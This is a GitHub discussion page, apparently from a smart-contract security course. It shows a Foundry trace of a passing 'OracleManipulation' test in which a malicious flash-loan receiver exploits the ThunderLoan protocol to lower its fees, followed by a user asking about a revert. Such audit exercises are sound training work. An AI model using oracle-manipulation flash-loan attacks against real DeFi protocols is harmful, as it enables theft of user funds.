│ │ │ │ │ ├─ [0] console::log("ending balance is: ", 950006609389577263111 [9.5e20]) [staticcall]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ ├─ [0] console::log("The starting balance at the point of check is: ", 950000000000000000000 [9.5e20]) [staticcall]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Return]
│ │ │ ├─ [3872] ERC20Mock::transfer(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 50014807370515955919 [5.001e19])
│ │ │ │ ├─ emit Transfer(from: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], to: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 50014807370515955919 [5.001e19])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Return] true
│ │ ├─ [851] ERC20Mock::balanceOf(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
│ │ │ └─ ← [Return] 1000021416760093219030 [1e21]
│ │ ├─ [0] console::log("ending balance is: ", 1000021416760093219030 [1e21]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("The starting balance at the point of check is: ", 1000000000000000000000 [1e21]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [447] MaliciousFlashLoanReceiver::second_fee() [staticcall]
│ └─ ← [Return] 6609389577263111 [6.609e15]
├─ [403] MaliciousFlashLoanReceiver::first_fee() [staticcall]
│ └─ ← [Return] 14807370515955919 [1.48e16]
├─ [0] console::log("The actual fee paid when we attack the ThunderLoan protocol is: ", 21416760093219030 [2.141e16]) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.43ms (4.40ms CPU time)
Ran 1 test suite in 387.92ms (14.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) |
Beta Was this translation helpful? Give feedback.
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
-
hi i keep getting this revert when i run the
ThunderLoan:OracleManipulation
Test:Here is the test and the Malicious contract.
testOracleManipulation.sol :
MaliciousFlashLoan.sol
Beta Was this translation helpful? Give feedback.
All reactions